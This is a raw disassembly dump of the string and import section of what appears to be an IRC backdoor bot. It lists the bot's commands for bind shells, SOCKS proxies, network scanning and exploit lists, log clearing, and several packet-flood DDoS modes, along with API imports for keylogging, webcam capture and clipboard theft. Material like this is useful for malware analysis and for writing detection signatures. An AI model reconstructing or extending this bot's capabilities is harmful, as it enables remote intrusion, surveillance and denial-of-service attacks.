696C206Eh, 3027473h, 2Dh ; DATA XREF: sub_401ACD+1902o dword_42C564 dd 6F6877h ; DATA XREF: sub_401ACD+18E5o dword_42C568 dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401ACD+18DAo dword_42C574 dd 6F6D6552h, 73206574h, 6C6C6568h, 0 ; DATA XREF: sub_401ACD+18D5o aCmdstop db 'cmdstop',0 ; DATA XREF: sub_401ACD+18BCo aOcmd db 'ocmd',0 ; DATA XREF: sub_401ACD+18A7o align 4 aOpencmd db 'opencmd',0 ; DATA XREF: sub_401ACD+1892o aDll db 'dll',0 ; DATA XREF: sub_401ACD+187Do aTestdlls db 'testdlls',0 ; DATA XREF: sub_401ACD+1868o align 4 aDrv db 'drv',0 ; DATA XREF: sub_401ACD+1853o aDriveinfo db 'driveinfo',0 ; DATA XREF: sub_401ACD+183Eo align 4 aUp db 'up',0 ; DATA XREF: sub_401ACD+1829o align 10h aUptime db 'uptime',0 ; DATA XREF: sub_401ACD+1814o align 4 aPs db 'ps',0 ; DATA XREF: sub_401ACD+17FFo align 4 aProcs db 'procs',0 ; DATA XREF: sub_401ACD+17EAo align 4 aKosomaky4d db 'KOSOMAKY4D',0 ; DATA XREF: sub_401ACD+17C0o ; sub_401ACD+17D5o align 10h aSi db 'si',0 ; DATA XREF: sub_401ACD+17ABo align 4 aSysinfo db 'sysinfo',0 ; DATA XREF: sub_401ACD+1796o aNi db 'ni',0 ; DATA XREF: sub_401ACD+1781o align 10h aNetinfo db 'netinfo',0 ; DATA XREF: sub_401ACD+176Co aClg db 'clg',0 ; DATA XREF: sub_401ACD+1757o aClearlog db 'clearlog',0 ; DATA XREF: sub_401ACD+1742o align 4 aLg db 'lg',0 ; DATA XREF: sub_401ACD+172Do align 4 aLog db 'log',0 ; DATA XREF: sub_401ACD+1718o aAl db 'al',0 ; DATA XREF: sub_401ACD+1703o align 4 aAliases db 'aliases',0 ; DATA XREF: sub_401ACD+16EEo aT: ; DATA XREF: sub_401ACD+16D9o ; ___:00438AFCo unicode 0, <t>,0 aThreads db 'threads',0 ; DATA XREF: sub_401ACD+16C4o unk_42C628 db 3 ; DATA XREF: sub_401ACD+1690o a81VrxFailedToR db '8,1-VrX- Failed to reboot system.',0 align 4 unk_42C64C db 3 ; DATA XREF: sub_401ACD+1689o a81VrxRebooting db '8,1-VrX- Rebooting system.',0 aR3start db 'r3start',0 ; DATA XREF: sub_401ACD+1672o aI: ; DATA XREF: sub_401ACD+165Do unicode 0, <i>,0 aId db 'id',0 ; DATA XREF: sub_401ACD+1648o align 4 aS_0: ; DATA XREF: sub_401ACD+1633o ; ___:00438B4Co unicode 0, <s>,0 aStatus db 'status',0 ; DATA XREF: sub_401ACD+161Eo align 4 aQ: ; DATA XREF: sub_401ACD+1609o ; ___:off_438768o ... unicode 0, <q>,0 aQuit_0 db 'quit',0 ; DATA XREF: sub_401ACD+15F4o align 10h aDc db 'dc',0 ; DATA XREF: sub_401ACD+15DFo align 4 aDisconnect db 'disconnect',0 ; DATA XREF: sub_401ACD+15CAo align 10h aR: ; DATA XREF: sub_401ACD+15B5o ; sub_401ACD+3D8Eo ... unicode 0, <r>,0 aReconnect db 'reconnect',0 ; DATA XREF: sub_401ACD+15A0o align 10h aExplist db 'explist',0 ; DATA XREF: sub_401ACD+158Bo aExploitlist db 'exploitlist',0 ; DATA XREF: sub_401ACD+1576o aCbstats db 'cbstats',0 ; DATA XREF: sub_401ACD+1561o aConnectbacksta db 'connectbackstats',0 ; DATA XREF: sub_401ACD+154Co align 10h aTrstats db 'trstats',0 ; DATA XREF: sub_401ACD+1537o aTransferstats db 'transferstats',0 ; DATA XREF: sub_401ACD+1522o align 4 aStats db 'stats',0 ; DATA XREF: sub_401ACD+150Do align 10h aScanstats db 'scanstats',0 ; DATA XREF: sub_401ACD+14F8o align 4 dword_42C70C dd 312C3803h, 4043532Dh, 2D4Eh ; DATA XREF: sub_401ACD+14EDo aScan_0 db 'Scan',0 ; DATA XREF: sub_401ACD+14E8o align 10h aScanstop db 'scanstop',0 ; DATA XREF: sub_401ACD+14CFo align 4 dword_42C72C dd 234032Dh, 75636573h, 3026572h, 2Dh ; DATA XREF: sub_401ACD+14C4o aSecure_0 db 'Secure',0 ; DATA XREF: sub_401ACD+14BFo align 4 aSecurestop db 'securestop',0 ; DATA XREF: sub_401ACD+14A6o align 10h dword_42C750 dd 234032Dh, 6E6F6C63h, 3027365h, 2Dh ; DATA XREF: sub_401ACD+149Bo aClone db 'Clone',0 ; DATA XREF: sub_401ACD+1496o align 4 aClonestop db 'clonestop',0 ; DATA XREF: sub_401ACD+147Do align 4 aPsstop db 'psstop',0 ; DATA XREF: sub_401ACD+1468o align 4 aProcsstop db 'procsstop',0 ; DATA XREF: sub_401ACD+1453o align 4 aFfstop db 'ffstop',0 ; DATA XREF: sub_401ACD+143Eo align 10h aFindfilestop db 'findfilestop',0 ; DATA XREF: sub_401ACD+1429o align 10h dword_42C7A0 dd 234032Dh, 70746674h, 2D030264h, 0 ; DATA XREF: sub_401ACD+141Eo aTftpstop db 'tftpstop',0 ; DATA XREF: sub_401ACD+1400o align 4 aPingstop db 'pingstop',0 ; DATA XREF: sub_401ACD+13D7o align 4 aUdpstop db 'udpstop',0 ; DATA XREF: sub_401ACD+13AEo aWisdomstop db 'wisdomstop',0 ; DATA XREF: sub_401ACD+1385o align 4 aTsunamistop db 'tsunamistop',0 ; DATA XREF: sub_401ACD+135Co unk_42C7E8 db 2Dh ; - ; DATA XREF: sub_401ACD+1342o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aAllPacketingAc db 'All packeting activity has been halted.',0 dword_42C81C dd 234032Dh, 64736977h, 3026D6Fh, 2Dh ; DATA XREF: sub_401ACD+1307o ; sub_401ACD+13A3o dword_42C82C dd 64736957h, 61206D6Fh, 63617474h, 6Bh ; DATA XREF: sub_401ACD+1302o ; sub_401ACD+139Eo dword_42C83C dd 234032Dh, 6E757374h, 2696D61h, 2D03h ; DATA XREF: sub_401ACD+12E9o ; sub_401ACD+137Ao dword_42C84C dd 6E757354h, 20696D61h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+12E4o ; sub_401ACD+1375o dword_42C85C dd 234032Dh, 676E6970h, 2D0302h ; DATA XREF: sub_401ACD+1289o ; sub_401ACD+13F5o dword_42C868 dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1284o ; sub_401ACD+13F0o dword_42C874 dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401ACD+126Bo ; sub_401ACD+13CCo dword_42C880 dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1266o ; sub_401ACD+13C7o aPacketstop db 'packetstop',0 ; DATA XREF: sub_401ACD+1206o align 4 dword_42C898 dd 234032Dh, 6B6E6F77h, 2D0302h ; DATA XREF: sub_401ACD+11FBo ; sub_401ACD+12C8o dword_42C8A4 dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+11F6o ; sub_401ACD+12C3o aWonkstop db 'wonkstop',0 ; DATA XREF: sub_401ACD+11DDo align 4 dword_42C8BC dd 234032Dh, 67726174h, 3023361h, 2Dh ; DATA XREF: sub_401ACD+11D2o ; sub_401ACD+12AAo dword_42C8CC dd 67726154h, 66203361h, 646F6F6Ch, 0 ; DATA XREF: sub_401ACD+11CDo ; sub_401ACD+12A5o aTarga3stop db 'targa3stop',0 ; DATA XREF: sub_401ACD+11B4o align 4 dword_42C8E8 dd 234032Dh, 73796B73h, 3026E79h, 2Dh ; DATA XREF: sub_401ACD+11A9o ; sub_401ACD+1328o dword_42C8F8 dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ; DATA XREF: sub_401ACD+11A4o ; sub_401ACD+1323o aSkysynstop db 'skysynstop',0 ; DATA XREF: sub_401ACD+118Bo align 4 dword_42C914 dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401ACD+1180o ; sub_401ACD+124Ao dword_42C920 dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+117Bo ; sub_401ACD+1245o aSynstop db 'synstop',0 ; DATA XREF: sub_401ACD+1162o dword_42C934 dd 234032Dh, 736F6464h, 2D0302h ; DATA XREF: sub_401ACD+1157o ; sub_401ACD+122Co dword_42C940 dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1152o ; sub_401ACD+1227o dword_42C94C dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: sub_401ACD+1139o dword_42C958 dd 234032Dh, 69646572h, 74636572h, 2D0302h ; DATA XREF: sub_401ACD+112Eo dword_42C968 dd 20504354h, 69646572h, 74636572h, 0 ; DATA XREF: sub_401ACD+1129o aRedirectstop db 'redirectstop',0 ; DATA XREF: sub_401ACD+1110o align 4 dword_42C988 dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401ACD+1105o dword_42C994 dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF: sub_401ACD+1100o aLogstop db 'logstop',0 ; DATA XREF: sub_401ACD+10E7o dword_42C9A8 dd 234032Dh, 70747468h, 2D030264h, 0 ; DATA XREF: sub_401ACD+10DCo aHttpstop db 'httpstop',0 ; DATA XREF: sub_401ACD+10BEo align 4 dword_42C9C4 dd 234032Dh, 676F6C72h, 2646E69h, 2D03h ; DATA XREF: sub_401ACD+10B3o aRloginstop db 'rloginstop',0 ; DATA XREF: sub_401ACD+1095o align 10h dword_42C9E0 dd 234032Dh, 6B636F73h, 3023473h, 2Dh ; DATA XREF: sub_401ACD+108Ao aSocks4stop db 'socks4stop',0 ; DATA XREF: sub_401ACD+106Co align 4 aS4 db 's4',0 ; DATA XREF: sub_401ACD+1057o align 10h aSocks4 db 'socks4',0 ; DATA XREF: sub_401ACD+1042o align 4 dword_42CA08 dd 234032Dh, 646E6962h, 6C656873h, 2D03026Ch, 0 ; DATA XREF: sub_401ACD+1037o aServer_0 db 'Server',0 ; DATA XREF: sub_401ACD+1032o ; sub_401ACD+1085o ... align 4 aBindshellstop db 'bindshellstop',0 ; DATA XREF: sub_401ACD+1019o align 4 aBd db 'bd',0 ; DATA XREF: sub_401ACD+1004o align 4 aBindshell db 'bindshell',0 ; DATA XREF: sub_401ACD+FEFo align 4 aUnsec db 'unsec',0 ; DATA XREF: sub_401ACD+FDAo align 4 aUnsecure db 'unsecure',0 ; DATA XREF: sub_401ACD+FC5o align 4 aSec db 'sec',0 ; DATA XREF: sub_401ACD+FB0o ; sub_401ACD+2D26o aSecure db 'secure',0 ; DATA XREF: sub_401ACD+F9Bo ; sub_401ACD+2D15o align 4 aSt db 'st',0 ; DATA XREF: sub_401ACD+F86o align 4 aSpeedtest db 'speedtest',0 ; DATA XREF: sub_401ACD+F71o align 4 aRz db 'rz',0 ; DATA XREF: sub_401ACD+F5Co align 4 aRulez db 'rulez',0 ; DATA XREF: sub_401ACD+F47o align 10h aVer db 'ver',0 ; DATA XREF: sub_401ACD+F32o aVersion db 'version',0 ; DATA XREF: sub_401ACD+F1Do aLo db 'lo',0 ; DATA XREF: sub_401ACD+F08o align 10h aLogout db 'logout',0 ; DATA XREF: sub_401ACD+EF3o align 4 aDi3 db 'di3',0 ; DATA XREF: sub_401ACD+EC9o ; sub_401ACD+EDEo aRn db 'rn',0 ; DATA XREF: sub_401ACD+EB4o align 10h aRndnick db 'rndnick',0 ; DATA XREF: sub_401ACD+E9Co a63 db '63',0 ; DATA XREF: sub_401ACD+D69o align 4 asc_42CAAC: ; DATA XREF: sub_401ACD+D41o unicode 0, <)>,0 aChr db '$chr(',0 ; DATA XREF: sub_401ACD+D04o align 4 aServer_1 db '$server',0 ; DATA XREF: sub_401ACD+CF9o aRndnick_0 db '$rndnick',0 ; DATA XREF: sub_401ACD+CE8o align 4 aChan db '$chan',0 ; DATA XREF: sub_401ACD+CCCo align 4 aUser_1 db '$user',0 ; DATA XREF: sub_401ACD+CBBo align 4 aMe db '$me',0 ; DATA XREF: sub_401ACD+CA9o aD db '$%d',0 ; DATA XREF: sub_401ACD+C3Bo aD_0 db '$%d-',0 ; DATA XREF: sub_401ACD+B77o align 4 aK: ; DATA XREF: sub_401ACD+A9Fo ; sub_401ACD+3DBCo unicode 0, <k>,0 aC: ; DATA XREF: sub_401ACD+A87o ; sub_401ACD+4AA4o unicode 0, <c>,0 unk_42CAF4 db 2Dh ; - ; DATA XREF: sub_401ACD+A64o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatFailedByUn db '- Chat failed by unauthorized user: %s.',0 align 4 unk_42CB28 db 2Dh ; - ; DATA XREF: sub_401ACD+A53o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatAlreadyAct db '- Chat already active with user: %s.',0 align 4 unk_42CB58 db 2Dh ; - ; DATA XREF: sub_401ACD+A42o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSta_28 db '- Failed to start chat thread, error: <%d>.',0 align 10h unk_42CB90 db 2Dh ; - ; DATA XREF: sub_401ACD+9D3o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatFromUserS_ db '- Chat from user: %s.',0 align 10h aChat db 'CHAT',0 ; DATA XREF: sub_401ACD+93Co align 4 unk_42CBB8 db 2Dh ; - ; DATA XREF: sub_401ACD+91Co db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceiveFileSFa db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0 align 4 unk_42CBFC db 2Dh ; - ; DATA XREF: sub_401ACD+904o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSta_29 db '- Failed to start transfer thread, error: <%d>.',0 align 4 dword_42CC38 dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h ; DATA XREF: sub_401ACD+8F3o dd 0A0Dh dword_42CC50 dd 4E495001h, 47h ; DATA XREF: sub_401ACD+8BFo dword_42CC58 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h ; DATA XREF: sub_401ACD+8B4o dd 0D017325h, 0Ah dword_42CC74 dd 52455601h, 4E4F4953h, 1 ; DATA XREF: sub_401ACD+883o dword_42CC80 dd 23h ; DATA XREF: sub_401ACD+7FAo ; sub_40CD43+1Bo unk_42CC84 db 2Dh ; - ; DATA XREF: sub_401ACD+769o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceiveFileSFr db '- Receive file: ',27h,'%s',27h,' from user: %s.',0 align 4 aS_1 db '%s',0 ; DATA XREF: sub_401ACD+6EAo ; sub_401ACD+979o ... align 4 aSend_0 db 'SEND',0 ; DATA XREF: sub_401ACD+6C3o align 10h dword_42CCC0 dd 43434401h, 0 ; DATA XREF: sub_401ACD+6A5o dword_42CCC8 dd 323333h ; DATA XREF: sub_401ACD+62Fo ; sub_401ACD+AC1o ... aNotice db 'NOTICE',0 ; DATA XREF: sub_401ACD+60Do ; sub_409869+Fo align 4 aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_401ACD+601o ; sub_409869+16o unk_42CCDC db 3 ; DATA XREF: sub_401ACD+5B0o a81VrxUserSLo_0 db '8,1-VrX- User: %s logged out.',0 align 4 unk_42CCFC db 3 ; DATA XREF: sub_401ACD+590o a81VrxJoinedC_0 db '8,1-VrX- Joined channel: %s.',0 align 4 a353 db '353',0 ; DATA XREF: sub_401ACD+55Fo aQuit db 'QUIT',0 ; DATA XREF: sub_401ACD+522o align 4 aPart db 'PART',0 ; DATA XREF: sub_401ACD+511o ; sub_401ACD+5CDo align 10h aSS db ':%s%s',0 ; DATA XREF: sub_401ACD+4ECo align 4 aNick db 'NICK',0 ; DATA XREF: sub_401ACD+3CEo align 10h aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+371o ; sub_401ACD+5F1o unk_42CD50 db 3 ; DATA XREF: sub_401ACD+355o ; sub_401ACD+2E79o ... a81VrxUserSLo_1 db '8,1-VrX- User %s logged out.',0 align 10h aKick db 'KICK',0 ; DATA XREF: sub_401ACD+2E4o align 4 aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+28Do ; sub_401ACD+7A88o ... align 4 a433 db '433',0 ; DATA XREF: sub_401ACD+262o ; sub_417B76:loc_417BDEo a@: ; DATA XREF: sub_401ACD+23Ao unicode 0, <@>,0 a302 db '302',0 ; DATA XREF: sub_401ACD+22Ao a005 db '005',0 ; DATA XREF: sub_401ACD+215o a001 db '001',0 ; DATA XREF: sub_401ACD+200o aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1E4o ; sub_401ACD+3BBo ... align 4 aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1C3o align 4 aPing db 'PING',0 ; DATA XREF: sub_401ACD+1A9o ; sub_417B76+50o align 4 asc_42CDBC: ; DATA XREF: sub_401ACD+19Ao ; sub_401ACD+7B9Do unicode 0, <!>,0 asc_42CDC0: ; DATA XREF: sub_401ACD+A8o ; sub_401ACD+E41o ... unicode 0, < >,0 asc_42CDC4 db ' :',0 ; DATA XREF: sub_401ACD+86o ; sub_401ACD:loc_4025E6o align 4 aSSS_0 db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409869+5Do aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409909+C7Fo align 10h aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409909+C77o aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_409909:loc_40A573o align 4 aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_409909+C15o align 4 aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_409909+C08o align 4 aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_409909+BFBo align 4 aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_409909+BEEo align 4 aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_409909+BE1o align 4 aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_409909+BD9o align 4 aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_409909:loc_40A4D5o align 4 aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_409909+B97o align 4 aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_409909+B8Fo align 4 aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_409909:loc_40A48Bo aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409909+B3Do align 4 aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409909+B30o align 4 aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_409909+B23o aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_409909+B1Bo aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_409909:loc_40A417o aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409909+AD9o align 4 aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_409909+AD1o align 4 aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_409909:loc_40A3CDo align 4 aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409909+A8Fo align 4 aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409909+A87o align 10h aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_409909:loc_40A383o align 4 aNetwkstagetinf db 'NetWkstaGetInfo',0 ; DATA XREF: sub_409909+9F9o aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_409909+9ECo ; sub_418AF1+65o align 4 aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_409909+9DFo align 4 aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_409909+9D2o aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_409909+9C5o align 4 aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_409909+9B8o align 4 aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_409909+9ABo align 4 aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_409909+99Eo align 4 aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409909+991o align 10h aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_409909+984o align 10h aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_409909+977o aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_409909+96Fo aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_409909:loc_40A267o ; sub_418AF1+58o align 4 aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_409909+921o align 4 aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_409909+914o aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_409909+90Co align 4 aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_409909:loc_40A208o align 4 aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409909+8D2o align 10h aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_409909+860o aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_409909+853o align 4 aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_409909+846o align 4 aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_409909+839o align 10h aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_409909+82Co align 10h aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_409909+81Fo align 4 aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_409909+812o align 4 aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_409909+805o align 4 aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409909+7F8o aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_409909+7F0o align 4 aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_409909:loc_40A0E8o aClosesocket db 'closesocket',0 ; DATA XREF: sub_409909+6A6o aGetpeername db 'getpeername',0 ; DATA XREF: sub_409909+699o aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_409909+68Co align 4 aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_409909+67Fo align 4 aGethostname db 'gethostname',0 ; DATA XREF: sub_409909+672o aGetsockname db 'getsockname',0 ; DATA XREF: sub_409909+665o aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_409909+658o align 4 aAccept db 'accept',0 ; DATA XREF: sub_409909+64Bo align 4 aListen db 'listen',0 ; DATA XREF: sub_409909+63Eo align 4 aSelect db 'select',0 ; DATA XREF: sub_409909+631o align 4 aBind db 'bind',0 ; DATA XREF: sub_409909+629o align 4 aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_409909+617o align 4 aRecv db 'recv',0 ; DATA XREF: sub_409909+60Ao align 10h aSendto db 'sendto',0 ; DATA XREF: sub_409909+5FDo align 4 aNtohl db 'ntohl',0 ; DATA XREF: sub_409909+5E3o align 10h aNtohs db 'ntohs',0 ; DATA XREF: sub_409909+5D6o align 4 aHtonl db 'htonl',0 ; DATA XREF: sub_409909+5C9o align 10h aHtons db 'htons',0 ; DATA XREF: sub_409909+5BCo align 4 aInet_addr db 'inet_addr',0 ; DATA XREF: sub_409909+5AFo align 4 aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_409909+5A2o align 10h aConnect db 'connect',0 ; DATA XREF: sub_409909+595o aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_409909+588o aSocket db 'socket',0 ; DATA XREF: sub_409909+57Bo align 4 aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_409909+56Eo align 4 aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_409909+561o aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_409909+554o align 4 a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_409909+547o align 4 aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_409909+53Ao align 4 aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_409909+52Do align 10h aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_409909+525o align 4 aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_409909+514o align 4 aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_409909+4A1o align 4 aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_409909+494o align 4 aBitblt db 'BitBlt',0 ; DATA XREF: sub_409909+487o align 4 aSelectobject db 'SelectObject',0 ; DATA XREF: sub_409909+47Ao align 4 aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_409909+46Do align 10h aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_409909+460o align 10h aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_409909+453o align 4 aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_409909+446o align 4 aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_409909+43Eo align 4 aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_409909:loc_409D36o align 10h aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_409909:loc_409D0Eo align 10h aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409909+3ADo align 4 aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_409909+3A0o aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_409909+393o align 4 aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_409909+386o align 4 aControlservice db 'ControlService',0 ; DATA XREF: sub_409909+379o align 4 aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_409909+36Co align 4 aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_409909+35Fo align 4 aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_409909:loc_409C60o align 4 aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409909+327o align 4 aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409909+31Ao align 4 aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_409909:loc_409C1Bo align 4 aCleareventloga db 'ClearEventLogA',0 ; DATA XREF: sub_409909+2C6o align 4 aOpeneventloga db 'OpenEventLogA',0 ; DATA XREF: sub_409909+2B9o align 4 aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_409909+2ACo aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_409909+29Fo aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_409909+292o align 4 aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_409909+285o align 4 aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_409909+278o aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_409909+270o align 4 aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_409909:loc_409B68o align 4 aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_409909+21Ao aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_409909+20Do align 4 aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_409909+200o aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_409909:loc_409B01o align 4 aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_409909+1A0o align 4 aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_409909+193o align 4 aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_409909+186o align 10h aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_409909+179o align 10h aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_409909+16Co align 10h aIswindow db 'IsWindow',0 ; DATA XREF: sub_409909+15Fo align 4 aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_409909+152o aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_409909+14Ao align 4 aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_409909:loc_409A3Eo ; sub_425029+Do align 4 aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_409909:loc_409A11o align 4 aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409909+A0o align 4 aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409909+93o aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_409909+86o aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_409909+79o align 4 aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409909+6Co aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409909+5Fo aModule32first db 'Module32First',0 ; DATA XREF: sub_409909+52o align 4 aProcess32next db 'Process32Next',0 ; DATA XREF: sub_409909+45o align 4 aProcess32first db 'Process32First',0 ; DATA XREF: sub_409909+38o align 4 aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409909+2Bo align 4 aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_409909+23o align 4 aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_409909+Ao align 4 unk_42D6C4 db 2Dh ; - ; DATA XREF: sub_40A5C5+2F2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aDllTestComplet db 'DLL test complete.',0 align 4 